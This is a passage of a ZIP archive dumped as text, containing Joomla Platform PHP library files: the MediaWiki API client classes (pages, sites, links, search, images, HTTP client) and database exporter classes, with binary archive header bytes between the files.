$this->buildParameter($titles); if (isset($rvprop)) { $path .= '&rvprop=' . $this->buildParameter($rvprop); } if ($rvparse) { $path .= '&rvparse='; } if (isset($rvlimit)) { $path .= '&rvlimit=' . $rvlimit; } // Send the request. $response = $this->client->get($this->fetchUrl($path)); return $this->validateResponse($response); } /** * Method to get all page templates from the given page. * * @param array $titles Page titles to retrieve templates. * @param array $tlnamespace Show templates in this namespace(s) only. * @param integer $tllimit How many templates to return. * @param boolean $tlcontinue When more results are available, use this to continue. * @param string $tltemplates Only list these templates. * @param string $tldir The direction in which to list. * * @return object * * @since 3.1.4 */ public function getPageTemplates(array $titles, array $tlnamespace = null, $tllimit = null, $tlcontinue = null, $tltemplates = null, $tldir = null) { // Build the request. $path = '?action=query&prop=templates'; // Append titles to the request. $path .= '&titles=' . $this->buildParameter($titles); if (isset($tlnamespace)) { $path .= '&tlnamespace=' . $this->buildParameter($tlnamespace); } if (isset($tllimit)) { $path .= '&tllimit=' . $tllimit; } if ($tlcontinue) { $path .= '&tlcontinue='; } if (isset($tltemplates)) { $path .= '&tltemplates=' . $tltemplates; } if (isset($tldir)) { $path .= '&tldir=' . $tldir; } // Send the request. $response = $this->client->get($this->fetchUrl($path)); return $this->validateResponse($response); } /** * Method to get all pages that link to the given page. * * @param string $bltitle Title to search. * @param integer $blpageid Pageid to search. * @param boolean $blcontinue When more results are available, use this to continue. * @param array $blnamespace The namespace to enumerate. * @param string $blfilterredirect How to filter for redirects.. * @param integer $bllimit How many total pages to return. * @param boolean $blredirect If linking page is a redirect, find all pages that link to that redirect as well. * * @return object * * @since 3.1.4 */ public function getBackLinks($bltitle, $blpageid = null, $blcontinue = null, array $blnamespace = null, $blfilterredirect = null, $bllimit = null, $blredirect = null) { // Build the request. $path = '?action=query&list=backlinks'; if (isset($bltitle)) { $path .= '&bltitle=' . $bltitle; } if (isset($blpageid)) { $path .= '&blpageid=' . $blpageid; } if ($blcontinue) { $path .= '&blcontinue='; } if (isset($blnamespace)) { $path .= '&blnamespace=' . $this->buildParameter($blnamespace); } if (isset($blfilterredirect)) { $path .= '&blfilterredirect=' . $blfilterredirect; } if (isset($bllimit)) { $path .= '&bllimit=' . $bllimit; } if ($blredirect) { $path .= '&blredirect='; } // Send the request. $response = $this->client->get($this->fetchUrl($path)); return $this->validateResponse($response); } /** * Method to get all pages that link to the given interwiki link. * * @param string $iwbltitle Interwiki link to search for. Must be used with iwblprefix. * @param string $iwblprefix Prefix for the interwiki. * @param boolean $iwblcontinue When more results are available, use this to continue. * @param integer $iwbllimit How many total pages to return. * @param array $iwblprop Which properties to get. * * @return object * * @since 3.1.4 */ public function getIWBackLinks($iwbltitle, $iwblprefix = null, $iwblcontinue = null, $iwbllimit = null, array $iwblprop = null) { // Build the request $path = '?action=query&list=iwbacklinks'; if (isset($iwbltitle)) { $path .= '&iwbltitle=' . $iwbltitle; } if (isset($iwblprefix)) { $path .= '&iwblprefix=' . $iwblprefix; } if ($iwblcontinue) { $path .= '&iwblcontinue='; } if (isset($iwbllimit)) { $path .= '&bllimit=' . $iwbllimit; } if (isset($iwblprop)) { $path .= '&iwblprop=' . $this->buildParameter($iwblprop); } // Send the request. $response = $this->client->get($this->fetchUrl($path)); return $this->validateResponse($response); } /** * Method to get access token. * * @param string $user The User to get token. * @param string $intoken The type of token. * * @return object * * @since 3.0.0 */ public function getToken($user, $intoken) { // Build the request path. $path = '?action=query&prop=info&intoken=' . $intoken . '&titles=User:' . $user; // Send the request. $response = $this->client->post($this->fetchUrl($path), null); return (string) $this->validateResponse($response)->query->pages->page[$intoken . 'token']; } } PK�\���}��joomla/mediawiki/sites.phpnu�[���<?php /** * @package Joomla.Platform * @subpackage MediaWiki * * @copyright (C) 2013 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE */ defined('JPATH_PLATFORM') or die; /** * MediaWiki API Sites class for the Joomla Platform. * * @since 3.1.4 */ class JMediawikiSites extends JMediawikiObject { /** * Method to get site information. * * @param array $siprop The sysinfo properties to get. * @param string $sifilteriw Only local or only non local entries to return. * @param boolean $sishowalldb List all database servers. * @param boolean $sinumberingroup List the number of users in usergroups. * @param array $siinlanguagecode Language code for localized languages. * * @return object * * @since 3.1.4 */ public function getSiteInfo(array $siprop = null, $sifilteriw = null, $sishowalldb = false, $sinumberingroup = false, array $siinlanguagecode = null) { // Build the request. $path = '?action=query&meta=siteinfo'; if (isset($siprop)) { $path .= '&siprop=' . $this->buildParameter($siprop); } if (isset($sifilteriw)) { $path .= '&sifilteriw=' . $sifilteriw; } if ($sishowalldb) { $path .= '&sishowalldb='; } if ($sinumberingroup) { $path .= '&sinumberingroup='; } if (isset($siinlanguagecode)) { $path .= '&siinlanguagecode=' . $this->buildParameter($siinlanguagecode); } // Send the request. $response = $this->client->get($this->fetchUrl($path)); return $this->validateResponse($response); } /** * Method to get events from logs. * * @param array $leprop List of properties to get. * @param string $letype Filter log actions to only this type. * @param string $leaction Filter log actions to only this type. * @param string $letitle Filter entries to those related to a page. * @param string $leprefix Filter entries that start with this prefix. * @param string $letag Filter entries with tag. * @param string $leuser Filter entries made by the given user. * @param string $lestart Starting timestamp. * @param string $leend Ending timestamp. * @param string $ledir Direction of enumeration. * @param integer $lelimit Event limit to return. * * @return object * * @since 3.1.4 */ public function getEvents(array $leprop = null, $letype = null, $leaction = null, $letitle = null, $leprefix = null, $letag = null, $leuser = null, $lestart = null, $leend = null, $ledir = null, $lelimit = null) { // Build the request $path = '?action=query&list=logevents'; if (isset($leprop)) { $path .= '&leprop=' . $this->buildParameter($leprop); } if (isset($letype)) { $path .= '&letype=' . $letype; } if (isset($leaction)) { $path .= '&leaction=' . $leaction; } if (isset($letitle)) { $path .= '&letitle=' . $letitle; } if (isset($leprefix)) { $path .= '&leprefix=' . $leprefix; } if (isset($letag)) { $path .= '&letag=' . $letag; } if (isset($leuser)) { $path .= '&leuser=' . $leuser; } if (isset($lestart)) { $path .= '&lestart=' . $lestart; } if (isset($leend)) { $path .= '&leend=' . $leend; } if (isset($ledir)) { $path .= '&ledir=' . $ledir; } if (isset($lelimit)) { $path .= '&lelimit=' . $lelimit; } // Send the request. $response = $this->client->get($this->fetchUrl($path)); return $this->validateResponse($response); } /** * Method to get recent changes on a site. * * @param string $rcstart Starting timestamp. * @param string $rcend Ending timestamp. * @param string $rcdir Direction of enumeration. * @param array $rcnamespace Filter changes to only this namespace(s). * @param string $rcuser Filter changes by this user. * @param string $rcexcludeuser Filter changes to exclude changes by this user. * @param string $rctag Filter changes by this tag. * @param array $rcprop Filter log actions to only this type. * @param array $rctoken Which token to obtain for each change. * @param array $rcshow Filter changes by this criteria. * @param string $rclimit Changes limit to return. * @param string $rctype Filter event by type of changes. * @param string $rctoponly Filter changes which are latest revision. * * @return object * * @since 3.1.4 */ public function getRecentChanges($rcstart = null, $rcend = null, $rcdir = null, array $rcnamespace = null, $rcuser = null, $rcexcludeuser = null, $rctag = null, array $rcprop = null, array $rctoken = null, array $rcshow = null, $rclimit = null, $rctype = null, $rctoponly = null) { // Build the request. $path = '?action=query&list=recentchanges'; if (isset($rcstart)) { $path .= '&rcstart=' . $rcstart; } if (isset($rcend)) { $path .= '&rcend=' . $rcend; } if (isset($rcdir)) { $path .= '&rcdir=' . $rcdir; } if (isset($rcnamespace)) { $path .= '&rcnamespaces=' . $this->buildParameter($rcnamespace); } if (isset($rcuser)) { $path .= '&rcuser=' . $rcuser; } if (isset($rcexcludeuser)) { $path .= '&rcexcludeuser=' . $rcexcludeuser; } if (isset($rctag)) { $path .= '&rctag=' . $rctag; } if (isset($rcprop)) { $path .= '&rcprop=' . $this->buildParameter($rcprop); } if (isset($rctoken)) { $path .= '&rctoken=' . $this->buildParameter($rctoken); } if (isset($rcshow)) { $path .= '&rcshow=' . $this->buildParameter($rcshow); } if (isset($rclimit)) { $path .= '&rclimit=' . $rclimit; } if (isset($rctype)) { $path .= '&rctype=' . $rctype; } if (isset($rctoponly)) { $path .= '&rctoponly=' . $rctoponly; } // Send the request. $response = $this->client->get($this->fetchUrl($path)); return $this->validateResponse($response); } /** * Method to get protected titles on a site. * * @param array $ptnamespace Only list titles in this namespace. * @param array $ptlevel Only list titles with these protection level. * @param integer $ptlimit Limit of pages to return. * @param string $ptdir Direction of enumeration. * @param string $ptstart Starting timestamp. * @param string $ptend Ending timestamp. * @param array $ptprop List of properties to get. * * @return object * * @since 3.1.4 */ public function getProtectedTitles(array $ptnamespace = null, array $ptlevel = null, $ptlimit = null, $ptdir = null, $ptstart = null, $ptend = null, array $ptprop = null) { // Build the request. $path = '?action=query&list=protectedtitles'; if (isset($ptnamespace)) { $path .= '&ptnamespace=' . $this->buildParameter($ptnamespace); } if (isset($ptlevel)) { $path .= '&ptlevel=' . $this->buildParameter($ptlevel); } if (isset($ptlimit)) { $path .= '&ptlimit=' . $ptlimit; } if (isset($ptdir)) { $path .= '&ptdir=' . $ptdir; } if (isset($ptstart)) { $path .= '&ptstart=' . $ptstart; } if (isset($ptend)) { $path .= '&ptend=' . $ptend; } if (isset($ptprop)) { $path .= '&ptprop=' . $this->buildParameter($ptprop); } // Send the request. $response = $this->client->get($this->fetchUrl($path)); return $this->validateResponse($response); } } PK�\L;d���joomla/mediawiki/links.phpnu�[���<?php /** * @package Joomla.Platform * @subpackage MediaWiki * * @copyright (C) 2013 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE */ defined('JPATH_PLATFORM') or die; /** * MediaWiki API Links class for the Joomla Platform. * * @since 3.1.4 */ class JMediawikiLinks extends JMediawikiObject { /** * Method to return all links from the given page(s). * * @param array $titles Page titles to retrieve links. * @param array $plnamespace Namespaces to get links. * @param string $pllimit Number of links to return. * @param string $plcontinue Continue when more results are available. * @param array $pltitles List links to these titles. * @param string $pldir Direction of listing. * * @return object * * @since 3.1.4 */ public function getLinks(array $titles, array $plnamespace = null, $pllimit = null, $plcontinue = null, array $pltitles = null, $pldir = null) { // Build the request. $path = '?action=query&prop=links'; // Append titles to the request. $path .= '&titles=' . $this->buildParameter($titles); if (isset($plnamespace)) { $path .= '&plnamespace=' . $this->buildParameter($plnamespace); } if (isset($pllimit)) { $path .= '&pllimit=' . $pllimit; } if (isset($plcontinue)) { $path .= '&plcontinue=' . $plcontinue; } if (isset($pltitles)) { $path .= '&pltitles=' . $this->buildParameter($pltitles); } if (isset($pldir)) { $path .= '&pldir=' . $pldir; } // Send the request. $response = $this->client->get($this->fetchUrl($path)); return $this->validateResponse($response); } /** * Method to return info about the link pages. * * @param array $titles Page titles to retrieve links. * * @return object * * @since 3.1.4 */ public function getLinksUsed(array $titles) { // Build the request. $path = '?action=query&generator=links&prop=info'; // Append titles to the request. $path .= '&titles=' . $this->buildParameter($titles); // Send the request. $response = $this->client->get($this->fetchUrl($path)); return $this->validateResponse($response); } /** * Method to return all interwiki links from the given page(s). * * @param array $titles Page titles to retrieve links. * @param boolean $iwurl Whether to get the full url. * @param integer $iwlimit Number of interwiki links to return. * @param boolean $iwcontinue When more results are available, use this to continue. * @param string $iwprefix Prefix for the interwiki. * @param string $iwtitle Interwiki link to search for. * @param string $iwdir The direction in which to list. * * @return object * * @since 3.1.4 */ public function getIWLinks(array $titles, $iwurl = false, $iwlimit = null, $iwcontinue = false, $iwprefix = null, $iwtitle = null, $iwdir = null) { // Build the request. $path = '?action=query&prop=links'; // Append titles to the request. $path .= '&titles=' . $this->buildParameter($titles); if ($iwurl) { $path .= '&iwurl='; } if (isset($iwlimit)) { $path .= '&iwlimit=' . $iwlimit; } if ($iwcontinue) { $path .= '&iwcontinue='; } if (isset($iwprefix)) { $path .= '&iwprefix=' . $iwprefix; } if (isset($iwtitle)) { $path .= '&iwtitle=' . $iwtitle; } if (isset($iwdir)) { $path .= '&iwdir=' . $iwdir; } // Send the request. $response = $this->client->get($this->fetchUrl($path)); return $this->validateResponse($response); } /** * Method to return all interlanguage links from the given page(s). * * @param array $titles Page titles to retrieve links. * @param integer $lllimit Number of language links to return. * @param boolean $llcontinue When more results are available, use this to continue. * @param string $llurl Whether to get the full URL. * @param string $lllang Language code. * @param string $lltitle Link to search for. * @param string $lldir The direction in which to list. * * @return object * * @since 3.1.4 */ public function getLangLinks(array $titles, $lllimit = null, $llcontinue = false, $llurl = null, $lllang = null, $lltitle = null, $lldir = null) { // Build the request. $path = '?action=query&prop=langlinks'; // Append titles to the request. $path .= '&titles=' . $this->buildParameter($titles); if (isset($lllimit)) { $path .= '&lllimit=' . $lllimit; } if ($llcontinue) { $path .= '&llcontinue='; } if (isset($llurl)) { $path .= '&llurl=' . $llurl; } if (isset($lllang)) { $path .= '&lllang=' . $lllang; } if (isset($lltitle)) { $path .= '&lltitle=' . $lltitle; } if (isset($lldir)) { $path .= '&lldir=' . $lldir; } // Send the request. $response = $this->client->get($this->fetchUrl($path)); return $this->validateResponse($response); } /** * Method to return all external urls from the given page(s). * * @param array $titles Page titles to retrieve links. * @param integer $ellimit Number of links to return. * @param string $eloffset When more results are available, use this to continue. * @param string $elprotocol Protocol of the url. * @param string $elquery Search string without protocol. * * @return object * * @since 3.1.4 */ public function getExtLinks(array $titles, $ellimit = null, $eloffset = null, $elprotocol = null, $elquery = null) { // Build the request. $path = '?action=query&prop=extlinks'; // Append titles to the request. $path .= '&titles=' . $this->buildParameter($titles); if (isset($ellimit)) { $path .= '&ellimit=' . $ellimit; } if (isset($eloffset)) { $path .= '&eloffset=' . $eloffset; } if (isset($elprotocol)) { $path .= '&elprotocol=' . $elprotocol; } if (isset($elquery)) { $path .= '&elquery=' . $elquery; } // Send the request. $response = $this->client->get($this->fetchUrl($path)); return $this->validateResponse($response); } /** * Method to enumerate all links that point to a given namespace. * * @param boolean $alcontinue When more results are available, use this to continue. * @param string $alfrom Start listing at this title. The title need not exist. * @param string $alto The page title to stop enumerating at. * @param string $alprefix Search for all page titles that begin with this value. * @param string $alunique Only show unique links. * @param array $alprop What pieces of information to include. * @param string $alnamespace The namespace to enumerate. * @param integer $allimit Number of links to return. * * @return object * * @since 3.1.4 */ public function enumerateLinks($alcontinue = false, $alfrom = null, $alto = null, $alprefix = null, $alunique = null, array $alprop = null, $alnamespace = null, $allimit = null) { // Build the request. $path = '?action=query&meta=siteinfo'; if ($alcontinue) { $path .= '&alcontinue='; } if (isset($alfrom)) { $path .= '&alfrom=' . $alfrom; } if (isset($alto)) { $path .= '&alto=' . $alto; } if (isset($alprefix)) { $path .= '&alprefix=' . $alprefix; } if (isset($alunique)) { $path .= '&alunique=' . $alunique; } if (isset($alprop)) { $path .= '&alprop=' . $this->buildParameter($alprop); } if (isset($alnamespace)) { $path .= '&alnamespace=' . $alnamespace; } if (isset($allimit)) { $path .= '&allimit=' . $allimit; } // Send the request. $response = $this->client->get($this->fetchUrl($path)); return $this->validateResponse($response); } } PK�\�`�^QQjoomla/mediawiki/search.phpnu�[���<?php /** * @package Joomla.Platform * @subpackage MediaWiki * * @copyright (C) 2013 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE */ defined('JPATH_PLATFORM') or die; /** * MediaWiki API Search class for the Joomla Platform. * * @since 3.1.4 */ class JMediawikiSearch extends JMediawikiObject { /** * Method to perform a full text search. * * @param string $srsearch Search for all page titles (or content) that has this value. * @param array $srnamespace The namespace(s) to enumerate. * @param string $srwhat Search inside the text or titles. * @param array $srinfo What metadata to return. * @param array $srprop What properties to return. * @param boolean $srredirects Include redirect pages in the search. * @param integer $sroffest Use this value to continue paging. * @param integer $srlimit How many total pages to return. * * @return object * * @since 3.1.4 */ public function search($srsearch, array $srnamespace = null, $srwhat = null, array $srinfo = null, array $srprop = null, $srredirects = null, $sroffest = null, $srlimit = null) { // Build the request. $path = '?action=query&list=search'; if (isset($srsearch)) { $path .= '&srsearch=' . $srsearch; } if (isset($srnamespace)) { $path .= '&srnamespace=' . $this->buildParameter($srnamespace); } if (isset($srwhat)) { $path .= '&srwhat=' . $srwhat; } if (isset($srinfo)) { $path .= '&srinfo=' . $this->buildParameter($srinfo); } if (isset($srprop)) { $path .= '&srprop=' . $this->buildParameter($srprop); } if ($srredirects) { $path .= '&srredirects='; } if (isset($sroffest)) { $path .= '&sroffest=' . $sroffest; } if (isset($srlimit)) { $path .= '&srlimit=' . $srlimit; } // Send the request. $response = $this->client->get($this->fetchUrl($path)); return $this->validateResponse($response); } /** * Method to search the wiki using opensearch protocol. * * @param string $search Search string. * @param integer $limit Maximum amount of results to return. * @param array $namespace Namespaces to search. * @param string $suggest Do nothing if $wgEnableOpenSearchSuggest is false. * @param string $format Output format. * * @return object * * @since 3.1.4 */ public function openSearch($search, $limit = null, array $namespace = null, $suggest = null, $format = null) { // Build the request. $path = '?action=query&list=search'; if (isset($search)) { $path .= '&search=' . $search; } if (isset($limit)) { $path .= '&limit=' . $limit; } if (isset($namespace)) { $path .= '&namespace=' . $this->buildParameter($namespace); } if (isset($suggest)) { $path .= '&suggest=' . $suggest; } if (isset($format)) { $path .= '&format=' . $format; } // Send the request. $response = $this->client->get($this->fetchUrl($path)); return $this->validateResponse($response); } } PK�\(��H H joomla/mediawiki/object.phpnu�[���<?php /** * @package Joomla.Platform * @subpackage MediaWiki * * @copyright (C) 2013 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE */ defined('JPATH_PLATFORM') or die; use Joomla\Registry\Registry; /** * MediaWiki API object class for the Joomla Platform. * * @since 3.1.4 */ abstract class JMediawikiObject { /** * @var Registry Options for the MediaWiki object. * @since 3.1.4 */ protected $options; /** * @var JMediawikiHttp The HTTP client object to use in sending HTTP requests. * @since 3.1.4 */ protected $client; /** * Constructor. * * @param Registry $options Mediawiki options object. * @param JMediawikiHttp $client The HTTP client object. * * @since 3.1.4 */ public function __construct(Registry $options = null, JMediawikiHttp $client = null) { $this->options = isset($options) ? $options : new Registry; $this->client = isset($client) ? $client : new JMediawikiHttp($this->options); } /** * Method to build and return a full request URL for the request. * * @param string $path URL to inflect * * @return string The request URL. * * @since 3.1.4 */ protected function fetchUrl($path) { // Append the path with output format $path .= '&format=xml'; $uri = new JUri($this->options->get('api.url') . '/api.php' . $path); if ($this->options->get('api.username', false)) { $uri->setUser($this->options->get('api.username')); } if ($this->options->get('api.password', false)) { $uri->setPass($this->options->get('api.password')); } return (string) $uri; } /** * Method to build request parameters from a string array. * * @param array $params string array that contains the parameters * * @return string request parameter * * @since 3.1.4 */ public function buildParameter(array $params) { $path = ''; foreach ($params as $param) { $path .= $param; if (next($params) == true) { $path .= '|'; } } return $path; } /** * Method to validate response for errors * * @param JHttpresponse $response reponse from the mediawiki server * * @return Object * * @since 3.1.4 * * @throws DomainException */ public function validateResponse($response) { $xml = simplexml_load_string($response->body); if (isset($xml->warnings)) { throw new DomainException($xml->warnings->info); } if (isset($xml->error)) { throw new DomainException($xml->error['info']); } return $xml; } } PK�\�HCe��joomla/mediawiki/http.phpnu�[���<?php /** * @package Joomla.Platform * @subpackage MediaWiki * * @copyright (C) 2013 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE */ defined('JPATH_PLATFORM') or die; use Joomla\Registry\Registry; /** * HTTP client class for connecting to a MediaWiki instance. * * @since 3.1.4 */ class JMediawikiHttp extends JHttp { /** * Constructor. * * @param Registry $options Client options object. * @param JHttpTransport $transport The HTTP transport object. * * @since 3.1.4 */ public function __construct(Registry $options = null, JHttpTransport $transport = null) { // Override the JHttp contructor to use JHttpTransportStream. $this->options = isset($options) ? $options : new Registry; $this->transport = isset($transport) ? $transport : new JHttpTransportStream($this->options); // Make sure the user agent string is defined. $this->options->def('api.useragent', 'JMediawiki/1.0'); // Set the default timeout to 120 seconds. $this->options->def('api.timeout', 120); } /** * Method to send the GET command to the server. * * @param string $url Path to the resource. * @param array $headers An array of name-value pairs to include in the header of the request. * @param integer $timeout Read timeout in seconds. * * @return JHttpResponse * * @since 3.1.4 */ public function get($url, array $headers = null, $timeout = null) { // Look for headers set in the options. $temp = (array) $this->options->get('headers'); foreach ($temp as $key => $val) { if (!isset($headers[$key])) { $headers[$key] = $val; } } // Look for timeout set in the options. if ($timeout === null && $this->options->exists('api.timeout')) { $timeout = $this->options->get('api.timeout'); } return $this->transport->request('GET', new JUri($url), null, $headers, $timeout, $this->options->get('api.useragent')); } /** * Method to send the POST command to the server. * * @param string $url Path to the resource. * @param mixed $data Either an associative array or a string to be sent with the request. * @param array $headers An array of name-value pairs to include in the header of the request * @param integer $timeout Read timeout in seconds. * * @return JHttpResponse * * @since 3.1.4 */ public function post($url, $data, array $headers = null, $timeout = null) { // Look for headers set in the options. $temp = (array) $this->options->get('headers'); foreach ($temp as $key => $val) { if (!isset($headers[$key])) { $headers[$key] = $val; } } // Look for timeout set in the options. if ($timeout === null && $this->options->exists('api.timeout')) { $timeout = $this->options->get('api.timeout'); } return $this->transport->request('POST', new JUri($url), $data, $headers, $timeout, $this->options->get('api.useragent')); } } PK�\�Y��joomla/mediawiki/images.phpnu�[���<?php /** * @package Joomla.Platform * @subpackage MediaWiki * * @copyright (C) 2013 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE */ defined('JPATH_PLATFORM') or die; /** * MediaWiki API Images class for the Joomla Platform. * * @since 3.1.4 */ class JMediawikiImages extends JMediawikiObject { /** * Method to get all images contained on the given page(s). * * @param array $titles Page titles to retrieve images. * @param integer $imagelimit How many images to return. * @param boolean $imagecontinue When more results are available, use this to continue. * @param integer $imimages Only list these images. * @param string $imdir The direction in which to list. * * @return object * * @since 3.1.4 */ public function getImages(array $titles, $imagelimit = null, $imagecontinue = null, $imimages = null, $imdir = null) { // Build the request. $path = '?action=query&prop=images'; // Append titles to the request. $path .= '&titles=' . $this->buildParameter($titles); if (isset($imagelimit)) { $path .= '&imagelimit=' . $imagelimit; } if ($imagecontinue) { $path .= '&imagecontinue='; } if (isset($imimages)) { $path .= '&imimages=' . $imimages; } if (isset($imdir)) { $path .= '&imdir=' . $imdir; } // Send the request. $response = $this->client->get($this->fetchUrl($path)); return $this->validateResponse($response); } /** * Method to get all images contained on the given page(s). * * @param array $titles Page titles to retrieve links. * * @return object * * @since 3.1.4 */ public function getImagesUsed(array $titles) { // Build the request. $path = '?action=query&generator=images&prop=info'; // Append titles to the request. $path .= '&titles=' . $this->buildParameter($titles); // Send the request. $response = $this->client->get($this->fetchUrl($path)); return $this->validateResponse($response); } /** * Method to get all image information and upload history. * * @param array $liprop What image information to get. * @param integer $lilimit How many image revisions to return. * @param string $listart Timestamp to start listing from. * @param string $liend Timestamp to stop listing at. * @param integer $liurlwidth URL to an image scaled to this width will be returned.. * @param integer $liurlheight URL to an image scaled to this height will be returned. * @param string $limetadataversion Version of metadata to use. * @param string $liurlparam A handler specific parameter string. * @param boolean $licontinue When more results are available, use this to continue. * * @return object * * @since 3.1.4 */ public function getImageInfo(array $liprop = null, $lilimit = null, $listart = null, $liend = null, $liurlwidth = null, $liurlheight = null, $limetadataversion = null, $liurlparam = null, $licontinue = null) { // Build the request. $path = '?action=query&prop=imageinfo'; if (isset($liprop)) { $path .= '&liprop=' . $this->buildParameter($liprop); } if (isset($lilimit)) { $path .= '&lilimit=' . $lilimit; } if (isset($listart)) { $path .= '&listart=' . $listart; } if (isset($liend)) { $path .= '&liend=' . $liend; } if (isset($liurlwidth)) { $path .= '&liurlwidth=' . $liurlwidth; } if (isset($liurlheight)) { $path .= '&liurlheight=' . $liurlheight; } if (isset($limetadataversion)) { $path .= '&limetadataversion=' . $limetadataversion; } if (isset($liurlparam)) { $path .= '&liurlparam=' . $liurlparam; } if ($licontinue) { $path .= '&alcontinue='; } // Send the request. $response = $this->client->get($this->fetchUrl($path)); return $this->validateResponse($response); } /** * Method to enumerate all images. * * @param string $aifrom The image title to start enumerating from. * @param string $aito The image title to stop enumerating at. * @param string $aiprefix Search for all image titles that begin with this value. * @param integer $aiminsize Limit to images with at least this many bytes. * @param integer $aimaxsize Limit to images with at most this many bytes. * @param integer $ailimit How many images in total to return. * @param string $aidir The direction in which to list. * @param string $aisha1 SHA1 hash of image. * @param string $aisha1base36 SHA1 hash of image in base 36. * @param array $aiprop What image information to get. * @param string $aimime What MIME type to search for. * * @return object * * @since 3.1.4 */ public function enumerateImages($aifrom = null, $aito = null, $aiprefix = null, $aiminsize = null, $aimaxsize = null, $ailimit = null, $aidir = null, $aisha1 = null, $aisha1base36 = null, array $aiprop = null, $aimime = null) { // Build the request. $path = '?action=query&list=allimages'; if (isset($aifrom)) { $path .= '&aifrom=' . $aifrom; } if (isset($aito)) { $path .= '&aito=' . $aito; } if (isset($aiprefix)) { $path .= '&aiprefix=' . $aiprefix; } if (isset($aiminsize)) { $path .= '&aiminsize=' . $aiminsize; } if (isset($aimaxsize)) { $path .= '&aimaxsize=' . $aimaxsize; } if (isset($ailimit)) { $path .= '&ailimit=' . $ailimit; } if (isset($aidir)) { $path .= '&aidir=' . $aidir; } if (isset($aisha1)) { $path .= '&aisha1=' . $aisha1; } if (isset($aisha1base36)) { $path .= '&$aisha1base36=' . $aisha1base36; } if (isset($aiprop)) { $path .= '&aiprop=' . $this->buildParameter($aiprop); } if (isset($aimime)) { $path .= '&aimime=' . $aimime; } // Send the request. $response = $this->client->get($this->fetchUrl($path)); return $this->validateResponse($response); } } PK�\Onjoomla/database/interface.phpnu�[���<?php /** * @package Joomla.Platform * @subpackage Database * * @copyright (C) 2015 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE */ defined('JPATH_PLATFORM') or die; /** * Joomla Platform Database Interface * * @since 1.7.0 */ interface JDatabaseInterface { /** * Test to see if the connector is available. * * @return boolean True on success, false otherwise. * * @since 1.7.0 */ public static function isSupported(); } PK�\�v&]"joomla/database/exporter/mysql.phpnu�[���<?php /** * @package Joomla.Platform * @subpackage Database * * @copyright (C) 2011 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE */ defined('JPATH_PLATFORM') or die; /** * MySQL export driver. * * @since 1.7.0 * @deprecated 4.0 Use MySQLi or PDO MySQL instead */ class JDatabaseExporterMysql extends JDatabaseExporterMysqli { /** * Checks if all data and options are in order prior to exporting. * * @return JDatabaseExporterMysql Method supports chaining. * * @since 1.7.0 * @throws Exception if an error is encountered. */ public function check() { // Check if the db connector has been set. if (!($this->db instanceof JDatabaseDriverMysql)) { throw new Exception('JPLATFORM_ERROR_DATABASE_CONNECTOR_WRONG_TYPE'); } // Check if the tables have been specified. if (empty($this->from)) { throw new Exception('JPLATFORM_ERROR_NO_TABLES_SPECIFIED'); } return $this; } } PK�\���'joomla/database/exporter/postgresql.phpnu�[���<?php /** * @package Joomla.Platform * @subpackage Database * * @copyright (C) 2012 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE */ defined('JPATH_PLATFORM') or die; /** * PostgreSQL export driver. * * @since 3.0.0 * @deprecated 4.0 Use PDO PostgreSQL instead * * @property-read JDatabaseDriverPostgresql $db The database connector to use for exporting structure and/or data. */ class JDatabaseExporterPostgresql extends JDatabaseExporter { /** * Builds the XML data for the tables to export. * * @return string An XML string * * @since 3.0.0 * @throws Exception if an error occurs. */ protected function buildXml() { $buffer = array(); $buffer[] = '<?xml version="1.0"?>'; $buffer[] = '<postgresqldump xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">'; $buffer[] = ' <database name="">'; $buffer = array_merge($buffer, $this->buildXmlStructure()); $buffer[] = ' </database>'; $buffer[] = '</postgresqldump>'; return implode("\n", $buffer); } /** * Builds the XML structure to export. * * @return array An array of XML lines (strings). * * @since 3.0.0 * @throws Exception if an error occurs. */ protected function buildXmlStructure() { $buffer = array(); foreach ($this->from as $table) { // Replace the magic prefix if found. $table = $this->getGenericTableName($table); // Get the details columns information. $fields = $this->db->getTableColumns($table, false); $keys = $this->db->getTableKeys($table); $sequences = $this->db->getTableSequences($table); $buffer[] = ' <table_structure name="' . $table . '">'; foreach ($sequences as $sequence) { if (version_compare($this->db->getVersion(), '9.1.0') < 0) { $sequence->start_value = null; } $buffer[] = ' <sequence Name="' . $sequence->sequence . '"' . ' Schema="' . $sequence->schema . '"' . ' Table="' . $sequence->table . '"' . ' Column="' . $sequence->column . '"' . ' Type="' . $sequence->data_type . '"' . ' Start_Value="' . $sequence->start_value . '"' . ' Min_Value="' . $sequence->minimum_value . '"' . ' Max_Value="' . $sequence->maximum_value . '"' . ' Increment="' . $sequence->increment . '"' . ' Cycle_option="' . $sequence->cycle_option . '"' . ' />'; } foreach ($fields as $field) { $buffer[] = ' <field Field="' . $field->column_name . '"' . ' Type="' . $field->type . '"' . ' Null="' . $field->null . '"' . (isset($field->default) ? ' Default="' . $field->default . '"' : '') . ' Comments="' . $field->comments . '"' . ' />'; } foreach ($keys as $key) { $buffer[] = ' <key Index="' . $key->idxName . '"' . ' is_primary="' . $key->isPrimary . '"' . ' is_unique="' . $key->isUnique . '"' . ' Query="' . $key->Query . '" />'; } $buffer[] = ' </table_structure>'; } return $buffer; } /** * Checks if all data and options are in order prior to exporting. * * @return JDatabaseExporterPostgresql Method supports chaining. * * @since 3.0.0 * @throws Exception if an error is encountered. */ public function check() { // Check if the db connector has been set. if (!($this->db instanceof JDatabaseDriverPostgresql)) { throw new Exception('JPLATFORM_ERROR_DATABASE_CONNECTOR_WRONG_TYPE'); } // Check if the tables have been specified. if (empty($this->from)) { throw new Exception('JPLATFORM_ERROR_NO_TABLES_SPECIFIED'); } return $this; } } PK�\��W��"joomla/database/exporter/pgsql.phpnu�[���<?php /** * @package Joomla.Platform * @subpackage Database * * @copyright (C) 2018 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 